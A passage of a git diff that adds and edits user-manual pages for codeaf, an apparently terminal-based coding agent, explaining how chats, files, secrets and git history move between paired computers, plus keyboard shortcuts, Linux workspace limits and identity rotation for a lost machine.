+If a command was running on the other device, the line goes on: + +``` +Moved from spark in 3.2s. Everything as you left it. What was running there can start again here. +``` + +When the other device's name is not known it reads `Moved here in 3.2s. Everything as you left it.` + +Right after, a card opens that says where the chat stands. It is the first thing on the screen of the chat. When something has to be set up here, the card asks whether to bring this device to the state the other one was in (the page *Home* has that question). When nothing has to be set up, the card only reports, with one answer that closes it: + +``` +Moved from spark. Here is where it stands. +not committed yet: main.go, util.go · last tests: passed +got it +``` + +## What was not brought along — the lines on the arrival card + +When a chat arrives on a paired computer, its arrival card can include these lines: + +Each line is left out when it has nothing to say. + +- `not brought along:` folders the copy left behind, and any log or saved output that was too big or looked like a secret, with the reason. +- `was running there:` commands that were running on the other device. They are listed so you can start them again. +- `also needed:` what this device also needs. +- `not committed yet:` the files with changes that are not committed, up to three names and then `and N more`. +- `last tests:` `last tests: passed`, `last tests: failed`, or `last tests: failed 2` when the run said how many. A line with no test run behind it is not shown. + +On the set-up card, `set up` runs only the commands the card lists, and `not now` leaves it and says `/setup does this later`. + +Typing while either arrival card is up goes into the message box, including the first character. Enter sends your words and leaves the card waiting. With an empty box, enter answers the card; use the arrows to choose an answer. + +## Does a moved chat have the network — installs and access on this computer + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +A new chat is host-bound and keeps that class when moved. Its commands run on the computer that now holds it, with the network and the same access as any program you run there. Moving chats does not restrict commands to their workspace. `/setup` prepares missing tools and folders after a move; it does not enable ordinary network access. Existing cells declared sandboxed by an earlier build keep their declared class when moved or reopened. + +## What folder does the moved chat work in — old absolute paths in earlier turns + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +A moved copy works in the workspace it arrived in. Before its next model request, the agent gets a session note naming the device it came from, the old folder and the new folder. Paths in earlier turns under the old folder now name the same relative paths under this workspace. The note is context for the agent, not a message you typed, and remains available after reopening or compacting. + +The file tools also map an absolute path under the original folder to the same relative path in the new workspace. A shell command's old absolute path prefixes are mapped too. A mapped tool result says `Paths from the old folder were mapped into the workspace here: .` This applies even if the old folder exists on this computer. A mapped file path whose link leads outside the new workspace is refused. Paths to unrelated folders are unchanged. + +Taking a chat back into its original project restores that project in place. The agent is told about the return too; old paths from the other computer's copy now map back into the original project. + +## Why does the project label say copy from another machine + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +A chat arriving here for the first time works in its own copy. It is filed under the folder it came from, apart from conversations in this computer's own folder of the same name. Home and the keys-row label say `proj-a (copy from another machine)`. This remains a copy even if a folder with the original path happens to exist on this computer. Taking back a chat that already works in your own project restores that project in place. An unknown origin is left unnamed. + +## Continue here did nothing — another device continued first or the sync service is unreachable + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +If nothing happens when you press `Continue here`, the cause is one of these: + +- `another device continued this chat first`: another device was faster. The row goes back to `running on `. Nothing changed. +- `other machines unreachable`: this device cannot reach the service. Nothing can be moved until it can. +- `could not continue this chat here`: the move failed. The row stays where it was; try again. +- A sentence starting `the sync service must be updated before chats can move` means the service is too old to move chats safely. The operators update the hosted service; for your own service, follow the update command in that sentence on the terminal. Pairing, listing and viewing still work. Reopen codeaf after the service is updated. +- With no way to continue set up, an off row has no `continue here`: enter says why. + +## Taking a chat back, and two computers racing for the same chat — who wins, and what the loser sees + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +A chat has one holder at a time. To take a chat back from the computer that took it, continue it there the same way: press enter on its row on that computer and choose `continue here`. Nothing has to be returned or switched off first. A computer with the chat open when another takes it says ` continued this chat; this window now only shows it`, stops taking new turns, and keeps what it had not yet sent as a branch (` turns from : open separately / discard`). A tool call the model tries there answers with that same line. Taking the chat back leaves a `node_modules` or other install folder that computer already has alone. + +The choice covers the holder and turn of ownership shown on the card. If another computer continues the chat before you confirm or while the copy is arriving, your choice cannot take it from that new holder. The slower one sees `another device continued this chat first`, its local copy is not replaced, and its row goes back to `running on `. Older clients that do not send this condition keep their earlier behavior. No turn is lost on either side: whatever the earlier holder had not sent is kept for you as the branch above. This build offers discard, which archives a branch, and opening the branch as a separate chat; merging it into the original chat is unavailable. Pressing `2` (`leave it there`) on the question, or `esc`, changes nothing and leaves the chat where it is. + +## I reopened an old local chat after the other computer let go — where are the newer turns + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Reopening an older copy does not replace newer history on your other devices, even if the other computer has closed the chat. This window only shows its local copy until you choose `continue here`. Submitting a message opens that question and keeps your words in the box. Continuing brings the newer history here before writing can resume. + +Locally saved turns that never reached your other devices are kept as a branch before the newer copy replaces them, including turns already sealed on disk. Unsaved workspace edits are sealed and kept too. The move says `your unsaved edits here were kept as turns from `. Open that branch as a separate chat or discard it; merging is unavailable. + +Press enter on the kept turns' row. The card offers `1 open separately`, `2 discard`, and `3 leave them`, with `leave them` selected. Choose a number, then enter. `open separately` opens a chat with its own conversation id, the kept history and the files as those turns left them, in its own copy on this computer. The main chat's history and files stay as they are. Discard archives the kept turns; it does not delete them. + +## The chat is arriving on this computer — why it waits to open + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +While a chat is moving onto this computer, pressing enter on its row says `this chat is arriving on this computer; it opens by itself in a moment`. Nothing is wrong and nothing needs doing: the move takes a second or two, and the chat opens by itself when it ends, with the other computer's latest turns in it. Opening it earlier is refused on purpose, because a window opened halfway would show the chat as it was before the move and could not save your turns. + +When the holder is off (its lid is shut), the row reads ` offline` and you can still continue the chat here: the card says `last saved turn ago; up to turns may still be on `. Turns that never left that computer are not in the copy you get; if its window is still running when it reconnects, it keeps those turns as a branch. After a restart, the turns stay in the local copy until you choose `continue here`, which keeps them as a branch before replacing that copy. Open the branch separately or discard it. Merging into the original chat is unavailable. + +## Can the chat on the other computer still open the job logs it mentions — logs, saved tool output, task journals and the task history after a move + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Yes. A chat's messages name files that sit beside the chat and not in your project: the log of a background job (`log at …/logs/jobs/2.log`), the full output of a tool result that was cut short (`full: logs/stubs/9c2f.txt`), and the journals of its tasks. They move with the chat. The other computer puts the logs and saved output back in the chat's own folder, so the same names open there. The task journals (each task's transcript, trajectory and saved output) are part of the chat itself, so they arrive whole inside it at the paths the chat reads them from. The first message it receives after the move says where they are now (`… that earlier messages name under were carried: they are under here`). A path in an old message still shows the old folder; use the new one. + +## Job log and saved tool output limits after a move — task journals stay whole + +Three limits keep a move light, and they apply to job logs and saved tool output only. A single such file over 1 MiB stays behind, and so does whatever does not fit in 16 MiB together (the oldest go first). A task journal has no size limit and always moves whole. A file that looks like it holds a secret (a key, a token) stays behind too. Each one is named under `not brought along:` with the reason and `stayed on the machine that made it`; read it there by asking that machine, and never assume the other computer has it. + +Two things are made again on the other computer and are not carried: the project's task history (the list of finished tasks home and the tasks tool show), which is rebuilt from the chat's own record, and the git bookkeeping inside a task's working copy. The program's own files inside a task's working copy (the `.codeaf` folder, where a task's job logs sit) are not carried either, because they are not your work: they never show up on the other computer as a change you did not make. A file you made in the working copy does move. A task that finished on a kept branch keeps that branch in your project on the other computer, at the same commit. + +## What moves with a chat — is my git history sent, branches, secrets in my repo + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Your repository's `.git`, including its history, branches and settings, moves with the chat to your own paired devices. A task's commits travel too, and its working-copy bookkeeping is rebuilt on arrival. A key in an old commit remains in that history: codeaf does not remove or rewrite it. Git history travels sealed end to end; the sync service sees only ciphertext, including when the history contains keys. + +The current working files are checked separately. A `.env` or source file that the guard recognises as holding a key is left out of the chat's file capture and carried through the encrypted vault. If you committed that secret earlier, its historical Git copy still moves with the repository. An untracked `.env` with no committed copy arrives only through the vault. + +Every seal screens the working files it can capture, including the first reply or command with no changes. A wholly git-ignored directory is neither entered nor screened unless it holds tracked files. An ignored file in an ordinary directory is still screened: root `.env`, `config/.env.local` and a private key in a `*.pem` file travel through the encrypted vault to paired computers. A withheld file stays out of local saved packs and the uploaded workspace capture. Tools still see a `.env` file's variables through the vault. Restores and arrivals also screen before an automatic safety capture. + +## Why does home appear while my chats are still syncing + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +The first screen draws while this computer publishes its device record, shares its saved keys and sends the first saved turn in the background. A slow sync service does not leave the terminal blank. New tool work waits for the initial ownership check; local startup saves are sent once that check finishes. + +## Does every chat copy my whole project — disk space, shared saved files, older chats + +New chats on this computer share one store of saved file contents. Opening four chats in the same project does not make four private copies of every unchanged file. Each chat keeps its own history, call log and transport scratch; restoring one does not move another chat's saved head. A chat whose older private store already exists keeps using that store in place, without migration. Nothing is deleted automatically. `codeaf cell gc` is an explicit command and removes only files the saved copy can restore. + +## Why did dist or node_modules not move — gitignored files, build output, ignored folders + +Every chat's capture follows Git's ignore rules. Untracked ignored output stays on the computer that made it: it is neither stored in the local file history nor uploaded. Tracked files travel even if an ignore rule matches their name. A wholly ignored directory is not walked or screened. Lockfile rebuild folders still follow the existing rebuild rules. + +The arrival card names omitted paths from the saved summary, for example `not brought along: dist/ (git ignores them), node_modules/ (git ignores them)`. The summary is bounded and can name only some omitted groups. Ignored secret files in ordinary directories are still screened and travel through the key vault; an ignored `.env` inside a wholly ignored directory stays there with that directory. + +If Git cannot read the project's ignore rules, saving stops with `cannot read which folders Git ignores here` and the cause. Completed calls stay in their local log for a later save. codeaf does not fall back to searching ignored directories or putting their secret files in the key vault. + +## Does saving slow my command — pending save, quit while saving, moving before the save finishes + +A command's result returns after its call log is written, while its file capture finishes in the background. The next tool call, continuing the chat on this computer, uploading it and closing the conversation wait for the pending save. Opening a chat starts its first screened capture in the background. A command submitted before that capture finishes waits for it; commands cannot change files while that first screen is being saved. A failed capture keeps the finished call in its local log for the next save; codeaf never runs that command again to recover it. + +A wait lasts at most 30 seconds. A timeout says `still saving this chat on this computer: context deadline exceeded`; the pending save is not silently treated as done. The saving status reports failures, and quitting reports an error if saving could not finish. A final disk-flush failure says `codeaf: could not finish saving this chat:` followed by the cause and exits unsuccessfully. + +## I pressed alt+m before the other chat appeared — still arriving, home on a second computer + +Device presence can arrive before its list of chats. If you press `alt+m` early, home says `chats are still arriving from your other computer; this opens when they are ready`. It keeps your request and opens the ordinary confirmation once the chat arrives; it never takes the chat without that confirmation. A recent chat left on another computer is offered when home opens, including one that computer closed cleanly. + +## Does first start send anything — local identity before pairing + +The first start may create a local identity for this computer. That file sends nothing: there is no sync traffic or network use until you pair or offer a pairing code. Reading the add-device instructions leaves it quiet. Offering a pairing code or running `codeaf pair` contacts the sync service for that pairing. `CODEAF_SYNC_URL=off` blocks sync traffic even after pairing. + +## What survives a crash or power loss — durability, killed process, lost call records + +If the codeaf process dies, written call records and finished results survive; recovery never runs those commands again. An interrupted external command is shown as incomplete rather than retried. A machine losing power can lose at most roughly the last second of call records and saves. Losing a record never causes its command to run again, and a torn final record is discarded without damaging earlier history. + +Call records are written in order without waiting for a disk flush on each command. A background group flush runs about every 250 milliseconds. Moving or uploading the chat, becoming view-only, quitting and closing wait for the pending save and disk flush; a failure is reported. Saving also flushes the call records before relying on the saved files, and keeps the receipt before removing completed records from the local call log. + +## Do attached files keep their old paths when I move between Windows and Linux + +A saved attachment reference keeps the source computer's path spelling with slashes, including Windows drive paths. It names where the file came from; it does not redirect work to that old folder. A job reads the saved attachment bytes and stages its copy in the workspace here, even if the original file moved or disappeared. diff --git a/internal/manual/chat/getting-started.md b/internal/manual/chat/getting-started.md index 3df6aabe2e..a80d5c4b2e 100644 --- a/internal/manual/chat/getting-started.md +++ b/internal/manual/chat/getting-started.md @@ -49,6 +49,21 @@ the value you already have, so pressing `enter` there agrees to exactly what is screen. Its heading is `Basic settings`, one line, with the keys line directly under it (until 2026-10-01 it was `Models and spending` over `Keep these choices or change them.`). +## I already use codeaf on a second computer — the code field on the first screen + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are and keep working in every build. + +The first screen has one field for you if your chats are on another computer: + +``` +have a code from another device? +use your own relay: codeaf pair --via +``` + +On the computer that has your chats, type `/pair` to show a code like `42-715-302`. Type that code in the field. Compare the three words on both screens. The other computer asks `y / n`. On `y`, this computer has your chats. Read *Pairing your chats with a second computer* for the rest. + ## Skipping setup and reading its header `esc` on the first screen skips the setup: the flow is marked seen and it does not open diff --git a/internal/manual/chat/home.md b/internal/manual/chat/home.md index affc786d00..4911a2496e 100644 --- a/internal/manual/chat/home.md +++ b/internal/manual/chat/home.md @@ -287,6 +287,243 @@ before choosing the fifteen most recent, so each conversation appears once. The `opt+k` chats menu still lists open tabs; dismissing or reopening a tab updates the tab and the row in Sessions together. +## A chat is running on my other computer — how does home show it, chats on my other machines, "running on studio", "studio offline", why does it say running on build-box offline, merge / discard + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are, keep their original files, and keep working in every build. + +When this machine can reach your other machines, a chat that lives on one of them is a +row under **sessions**, beside the local ones and ordered by when its last saved turn +happened. The row says where the chat is only where that tells you something: + +| The chat is | The row says | +| --- | --- | +| running on another machine | `running on ` | +| on a machine that went off or to sleep without letting go | ` offline` | +| a branch left by a takeover | ` turns from : discard` (this build has no merge) | +| held by this machine, or let go by everyone | nothing | + +## Why a chat says running on build-box or build-box offline + +For a chat on another paired computer, read the two words apart: `running on build-box` says that computer is working on the chat now, and `build-box offline` says that computer has not answered for 25 seconds (it is switched off, asleep, frozen or offline; the word appears within 30 seconds, and goes at once when it answers again) and has not let the chat go, so the chat's last saved turns are what you would get. The name is only the device's. A chat on a computer that is `offline` can still be continued here; the card says how many turns may still be there. A count of one reads `1 turn`, never `1 turns`. The device is the name you gave that machine. A chat whose name will not open shows +`untitled`, and a machine whose name will not open shows the first eight characters of +its id. On a narrow frame a branch's sentence shortens to ` turns · `, and where +even that will not fit the sentence gives way whole before the chat's name is cut, so a +row may show only the name and its age. These rows are stops for the cursor: enter runs +what the row offers, described in the next two sections. + +## How fast do chats on other machines update — live changes and polling + +When the relay offers a live connection, home keeps one open and a change made on +another machine shows on home within a second or two. The list is also fetched once a +minute as a safety net, and at once when you open home or come back to the window. When the +relay does not offer a live connection (an older relay), or the connection is +down, home asks for the list instead. It asks only while home is on screen and the terminal +has your attention (its focus, or a key pressed in the last ten minutes). It asks every few +seconds while the list is changing and about once a minute while it is not. Each row's age is +counted from its last saved turn, so it keeps growing between fetches. + +If the other machines cannot be reached, the last list stays on screen and the line +`other machines unreachable` stands under it. With no connection set up at all (sync off, see "Sync your chats between machines" in running-from-the-terminal), nothing +extra is drawn and the panel is exactly the local list. `codeaf cell list --all` prints the +same rows in a terminal (see "The cell verbs" in running-from-the-terminal). + +## Continue a chat here that another machine left — "studio offline", takeover, "continue here", the chat is running on another computer + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are, keep their original files, and keep working in every build. + +Press enter on a row that says ` offline` or `running on ` and home asks **Continue this chat here?** +with the cursor on `continue here`, because pressing enter on the row already said you want it; `esc` or `2` leaves it there. +The card says how fresh the copy is: `last saved turn ago; up to turns may still +be on `. The `up to` clause is left out when nothing is waiting there. On a +`running on ` row the card starts with that: `running on ; last saved turn + ago`. When that device is not online, the card leaves `running on` out and says `last saved turn ago`. Press enter to continue: the chat is fetched, this machine takes it +over at once and it opens. You do not wait for the other machine to go quiet: a chat that is +running there stops taking new turns there the moment you take it, and its window says +` continued this chat; this window now only shows it`. Anything it had not yet sent +is kept as a branch, ` turns from : open separately / discard`; opening it continues it separately, and discard archives it. On a narrow frame the same +question takes the whole screen, with the sentence wrapped. + +## Continue here with unsaved edits, another device continuing first, or an unreachable computer + +When continuing a chat from another paired computer: + +- If you had unsaved edits to that chat here, they are not overwritten. They are kept as a + branch and the chat says `your unsaved edits here were kept as turns from `. +- If another machine took an `offline` chat first, the row goes back to `running on ` with one + line saying another device continued it first. Nothing was changed. +- If the other machines cannot be reached, enter says `other machines unreachable` and asks + nothing: no chat can be taken without them. +- With no way to continue set up, an offline row has no `continue here`: enter says its sentence. + +## What comes with a continued chat — the files, binary files, file modes, the executable bit, the .env, where the copy lives, no git needed + +Continuing a chat brings all of it: the whole conversation, and every file the chat worked +on, byte for byte: text and binary files, files that were never in a git repository, the +executable bit, links. Git history, branches and settings travel too, sealed to your paired +devices even when an old commit holds a key. A working file the guard withholds travels +through the vault instead. Rebuildable install folders such as `node_modules` stay out of the +workspace copy and are listed on the arrival card (see "What a moved chat left behind"). Nothing is fetched from git and no git login or remote is needed on +the machine that continues; everything comes from your relay. The copy lives in a folder of +its own under this machine's chats, and the chat works in a `work` folder inside it. Your +project folder on the other machine is not touched. If this machine already has the chat and +it works in one of your project folders, the chat is restored into that very folder: it is +never renamed or replaced, so an editor or git that holds it open keeps working, and it shows +the other machine's work. + +## Do secret files and .env come with a continued chat + +**Secret working files travel through the vault.** A `.env`, at any depth, and any other working file the guard recognises as holding a +secret is kept out of the chat's file capture and kept whole in your key vault instead, and the vault +travels with your chats. When you continue, each of those files is put back at the same +path in the chat's work folder, with the same bytes and the same permissions: comments, order +and quoting are as you wrote them. Each file is carried on its own, so two machines that edited +different files keep both. When both edited the same file, the one saved last wins as a whole +file, never line by line. A file you delete on one machine is deleted on the other. With no +identity on this machine, no secrets are fetched and no file is written. + +## Do saved provider keys and credentials follow me to another computer + +Moving chats and pairing are available by default on Linux, macOS and native Windows on every build with a compatible engine. Pair both computers first. + +Only chats started after moving chats became available can be continued on another computer. Older chats stay where they are, keep their original files, and keep working in every build. + +**Your keys travel too, through the same encrypted vault.** Two things are sealed in the +vault with your identity key and sent when they change, so a machine you continue on does not +ask you to enter keys again. One is `credentials.json`, the keys of every account you +connected. The other is the model keys stored in your profile's `config.json`: the model key, +the search keys, the app secret and the key of any model service that keeps its key in the +file. Each key is sent on its own: when two machines both changed the same key the one changed last +wins, changing a budget or any other setting never makes a key look newer, and removing a key on +one machine removes it on the other. A key that comes from an environment variable such as +`OPENROUTER_API_KEY` is never sent. A damaged `credentials.json` or `config.json` is never +sent and never replaces a good copy; when a good `credentials.json` arrives, the damaged file +is kept beside it as `credentials.json.damaged`. + +## Do budgets, settings and model choices move between computers + +**Budgets stay per machine.** Only the key fields of `config.json` travel. Your budgets and +limits, model picks and every other setting are not sent, and a key arriving never changes them, +so a limit you set here is not applied to your other machine. A service's key lands only on a +machine that already has that service listed, and a machine without it never removes it for +your other machines. + +## Unsaved local edits when continuing a chat here — the kept branch + +If you continue a chat on a machine that already has it, the chat as it was left replaces +what is there. Anything you had changed and never saved is kept first, as a branch, saying `your unsaved edits here were kept as turns from `; nothing is thrown away. If another machine takes the +chat while you are still fetching it, this machine keeps exactly what it had. + +## Is my git history sent — secrets in my repo, .git, committed keys, branches + +Yes. When you continue a chat on your own paired device, the repository's `.git` travels as it is, including its history, branches, settings and any keys in old commits. Task commits travel too. Git history is sealed end to end between your devices; the relay sees only ciphertext. codeaf does not screen, remove or rewrite committed secrets. + +The working-tree guard is separate: a `.env` or source file it recognises as holding a secret is excluded from the chat's file capture and sent only through the encrypted vault. The scanner reads the whole file, including keys past its first MiB. If the secret was committed, its Git copy still travels with the history. An untracked secret file with no committed copy arrives only through the vault. + +## What a move carries and what it leaves behind — job logs, task history, kept branches, do spend and usage numbers sync between computers, memory, withheld folders + +A chat that moves to another computer brings, from the relay and sealed on the way: + +- the whole conversation, and every file in its folder; +- the files beside the chat that its messages name: a job's log (`logs/jobs/.log`) and a cut-short tool result's full output. A log or output file over 1 MiB, or past 16 MiB together, or one that looks like a secret, stays behind and is named under `not brought along:`. Each task's journal is not among them: it travels whole inside the chat, with no size limit. The job itself is not carried: `was running there:` lists it and codeaf never restarts it; +- the chat's dials (effort, approval), the folders it refers to and which tasks were put away; +- a task's unlanded working copy and its branch (see "Tasks that had not landed when a chat moved"), and a finished task's kept branch (see the same section); +- what the chat spent: the chat's share of the usage and spend figures is read again from its sealed record on the new computer, so its cost shows there and a rewind never drops it; +- the memories that chat wrote, kept in the chat's own ledger and read back into the new computer's memory. + +The project's task history (the list of finished tasks) and the git bookkeeping inside a task's working copy are not carried: they are made again on the other computer from the chat's own record. + +It leaves behind, and lists on the card under `not brought along:`: install folders a lockfile rebuilds (`node_modules`, `.venv`, `target`, `vendor`, `Pods`), files this computer cannot read, and one of two names that differ only in letter case or accent. A read-only folder arrives read-only. A secret file (`.env`) is not in the chat's files: it travels in the key vault. Budgets, limits and model picks are per computer and never travel. Memory that belongs to no chat, for example a line edited by hand in the memory place, stays on the computer it was written on. + +## Does dist or other gitignored output move — ignored files and secret files + +Untracked Git-ignored output stays on the computer that made it and is named on the arrival card with `(git ignores them)`. It is neither captured locally nor uploaded. Tracked files still move. A wholly ignored directory is not walked or screened; an ignored secret file in an ordinary directory, such as `.env` or `config/.env.local`, is screened and still travels through the key vault to paired computers. + +## What a moved chat left behind — set this machine up, why is node_modules missing, my dev server is not running after I moved, not brought along, rebuilt from the lockfile + +A chat that moves brings its conversation and every file it worked on, except an install +folder that a lockfile rebuilds: `node_modules` (with a `package-lock.json`, +`npm-shrinkwrap.json`, `pnpm-lock.yaml`, `yarn.lock`, `bun.lock` or `bun.lockb`), `.venv` or +`venv` (with `uv.lock`, `poetry.lock`, `pdm.lock`, `Pipfile.lock`, or a `requirements.txt` +that pins every version with `==`), `target` (with a `Cargo.lock` beside its `Cargo.toml`), +`vendor` (with a `composer.lock` or `Gemfile.lock`) and `Pods` (with a `Podfile.lock`). A +folder is left out only when its lockfile travels too, git tracks nothing inside it, and your +own `.furrowpolicy` does not already exclude it. A folder with no lockfile, build output such +as `.next` or `dist`, and data folders always travel. Rebuilding from the lock gives the same +packages, and a `node_modules` made on a Mac holds Mac programs that would be wrong on Linux. +A copy of the folder that a machine already has is never deleted: taking a chat back, or +rewinding, leaves it alone. + +A command that was running on the other machine, such as a dev server, is not running here. +The arrival card lists `was running there:` the commands that were running, with a server's +port, so you can start them again; codeaf never restarts one by itself. + +## Does set up run npm ci without asking again — the arrival card and not now + +Continuing a chat that needs setup raises one card, **Set this machine up like had it?**, with +`set up` and `not now` (the cursor starts on `not now`). It lists `not brought along:` the +folders, each with the command that brings it back, `was running there:` the commands that +were running (a dev server, with its port), and `also needed:` the tools this machine lacks. +A line is left out when it has nothing to say. When there is only an arrival summary, +the card says `Moved from . Here is where it stands.` and offers `got it`, +which runs nothing. With no arrival facts to show, there is no card. + +`set up` starts the same setup turn as `/setup now`, opened with exactly those facts, and is +consent for exactly the commands the card lists: the agent runs them without asking again, +and any other command asks first unless approvals are open. This setup approval floor also applies to new chats, whose ordinary commands already have the network and this computer's usual access. +`not now` and esc run nothing; the same facts reach the agent once, at its next step, as news +that asks for nothing, and `/setup` lists what is missing later. codeaf never restarts a +command by itself, and database rows or container data do not travel. A secret in a recorded +command is shown as `…`. Limits: there is no way to force a folder to travel, and what was +running is known only from the moment of the move. + +## A file that cannot be read, two files with the same name in different case — odd files and a moved chat, not brought along, read-only folder, hard links + +One odd file never stops a chat from saving or moving. A file that this machine cannot read +(mode `0000`, or owned by another user) is kept out of the saved history: the chat says +` cannot be read here, so it is left out of the saved history until its permissions +allow it`, the card lists it under `not brought along:` with the same reason, and everything +else saves as usual. Once the file can be read, the next save carries it. Two files whose +names differ only in letter case (`Readme.md` and `README.md`), or only in how an accent is +spelled, cannot both live on a Mac's default disk. The move brings one, the name that sorts +first (`README.md` before `Readme.md`), keeps the other out and lists it on the card as +`: not brought along; same name as here`. Taking the chat back leaves both +files on the machine that had them. A folder marked read-only moves like any other and +arrives read-only. Two paths that are one file (a hard link) arrive as one file again; where +the disk refuses links they arrive as two files with the same bytes. + +## Tasks that had not landed when a chat moved — does my task branch come with me, working copy, uncommitted task edits, unmerged task branch, kept branch, worktree + +A task works in a +copy of your repository on its own branch. When the chat moves, each copy still at work comes +along: its branch and commits arrive with the project, and the files the task had changed but +not yet committed (edited, added, and the ones it deleted) are carried beside them and laid back +over a fresh copy on the same branch, in this machine's own folder for that chat. Home says +`the working copy of a task came along: `, or `working copies of tasks came along: +, ` for several. A task that has finished has no copy, but the branch it kept is put back in your project on this machine at the same commit, so it does come. +What the repository's own `.gitignore` names (build output, a `.env`) and any file that looks +like it holds a secret stay behind, and so does a task's own installed `node_modules`, which the +card in "What a moved chat left behind" lists as `trees//…`. Copies the other machine registered in the repository are +forgotten here, so `git worktree list` shows only what this machine has. If a copy cannot be set +up again (say its branch is checked out somewhere else), the sentence `a task's working copy +could not be set up again here` names why, and the task's files are still in its folder under +the chat's `trees` folder. + +## Open separately or discard the turns of a branch — "2 turns from studio", archive a branch, can I merge + +A chat that was moved to another machine while another machine still held unsent turns leaves those turns +as a branch. Press enter on its row to be asked **What should happen to these turns?** and +answer `1 open separately`, `2 discard`, or `3 leave them`, then enter; the cursor starts on `leave +them`. Opening separately opens its own chat and workspace copy, with the kept turns and +their files; the main chat stays as it is. **Discard archives** the branch: it leaves this list +and is not deleted. **Merge is +not offered on this build**. The row says +` turns from : open separately / discard`. If the other +machines cannot be reached, enter says `other machines unreachable` and does nothing. + ## Why does home show a session id for an untitled chat, untitled conversation, new conversation **A conversation nothing has named yet reads `new conversation`** on home's sessions @@ -379,7 +616,7 @@ in history. Cancel keeps the chat and its draft. switch back is two keys — `space` `space`, then `enter` — and `esc` still goes back to the conversation behind home. -## Choose a project for the next message — click a project name or use alt+p +## Start a chat in another folder — choose a project for the next message, click a project name or use alt+p **Click a project name under `projects` to select it for the next message.** The `project: ` label above the message box changes immediately, exactly as if diff --git a/internal/manual/chat/keys.md b/internal/manual/chat/keys.md index 20e69b8d46..eb7e613513 100644 --- a/internal/manual/chat/keys.md +++ b/internal/manual/chat/keys.md @@ -1,5 +1,10 @@ # Keys, typing, and the mouse — what all the keys do +## How do I make this one chat think harder — can I click the thinking level — effort keys + +`alt+e` walks this conversation's thinking rung; `/effort` opens the ladder and +`/effort ` sets it. The models-and-cost page explains the rungs. + ## Which key sends, and which key opens a new line `enter` sends the message you have typed. @@ -627,6 +632,9 @@ If you came here looking for a different kind of key, it is somewhere else: *Reaching a machine with a pairing code* - an **ssh key** — that is your own ssh setup, and codeaf runs your `ssh` unchanged; see *Running on another machine* +- the **architecture map** — `/atlas`, or `codeaf atlas` from the shell. It takes the + whole frame while it is up; `?` inside shows its keys, and `esc` or `q` closes the map + or its map picker and gives the frame back ## Keys in the message box: sending, stopping, and queueing @@ -1234,7 +1242,7 @@ remembered as well. With history not wired up (`--no-history`), `up` takes nothing and keeps its other meanings. -## The thinking chip above the message box — `alt+e`, `/effort`, and how to make this one chat think harder +## What is the chip above the message box — the thinking chip, `alt+e`, `/effort`, and how to make this one chat think harder The line above the message box — the legend — names how hard the model will think about your next turn, immediately after the model that will be doing the thinking: @@ -3707,7 +3715,7 @@ It lists the same open tabs as Home, in the tab strip's order. Select one and pr Enter. Closed conversations are behind the menu's fold; Home also keeps up to three recently closed conversations dimmed below the open list. -## How do I make this one chat think harder +## How do I make this one chat think harder — can I click the thinking level Press `alt+e` (`opt+e` on a Mac) or click the effort word beside the model above the message box. It cycles `auto`, `low`, `medium`, `high`, `xhigh`, `max`, then diff --git a/internal/manual/chat/linux-workspace-limits.md b/internal/manual/chat/linux-workspace-limits.md new file mode 100644 index 0000000000..9d911150e9 --- /dev/null +++ b/internal/manual/chat/linux-workspace-limits.md @@ -0,0 +1,19 @@ +# Workspace limits on Linux + +## Are chats sandboxed — network access, installs and writes outside the workspace + +New chats are not sandboxed. Their commands run on this computer with the network and the same access as any program you run, including writes outside the workspace and the computer's ordinary temporary folder. Moving chats keeps that access. `/setup` is for preparing tools on this machine after a move; ordinary commands do not need it to reach the network. Command approvals still apply. + +## Why commands fail on Ubuntu 24.04 — user namespaces, AppArmor and reduced workspace limits + +New chats declare `host-bound` and do not enter the Linux jail, so user namespaces and AppArmor's namespace restrictions do not limit their commands. An existing cell made by an earlier build keeps its declared class when reopened or moved here. A cell that already declares `sandboxed` still uses its earlier workspace and network limits; codeaf does not rewrite its metadata. + +For those existing sandboxed cells, codeaf probes the exact workspace helper once per process. If namespace or helper capabilities are unavailable, a call whose policy permits network access runs unconfined and says once: + +`This system cannot apply all workspace limits; commands with network access run without full confinement.` + +A sandboxed call that requires the network to be blocked instead refuses: + +`this command was not run: the workspace is sandboxed (no network) but this system cannot block the network: user namespaces are disabled; enable user namespaces or declare the workspace host-bound` + +When namespaces work but Landlock is missing, network limits still apply and filesystem limits are reduced. These are rules for cells already declared sandboxed, not the limits of a new chat. diff --git a/internal/manual/chat/lock-out-a-lost-computer.md b/internal/manual/chat/lock-out-a-lost-computer.md new file mode 100644 index 0000000000..b5a8d6f6ac --- /dev/null +++ b/internal/manual/chat/lock-out-a-lost-computer.md @@ -0,0 +1,98 @@ +# Locking out a lost computer for good + +## A computer was stolen and I want it shut for good — codeaf identity rotate gives the computers you keep a replacement identity + +Stopping a computer with `codeaf devices revoke ` cuts it off from the relay. It does not undo what it holds. That computer has your whole identity. It can read everything it already has, and it can make itself a new device. + +`codeaf identity rotate` is the real fix. It makes a replacement identity and moves your chats and your saved keys to it. The old identity is shut. The lost computer holds the old one, so it can read nothing of what you do from then on. + +Run it on a computer you keep, as soon as you know a computer is lost: + +``` +codeaf identity rotate +``` + +It is hidden from the help text and, like the other `codeaf identity` verbs, is available by default on Linux, macOS and native Windows with a compatible furrow engine. Native Windows is supported too. It needs a relay. 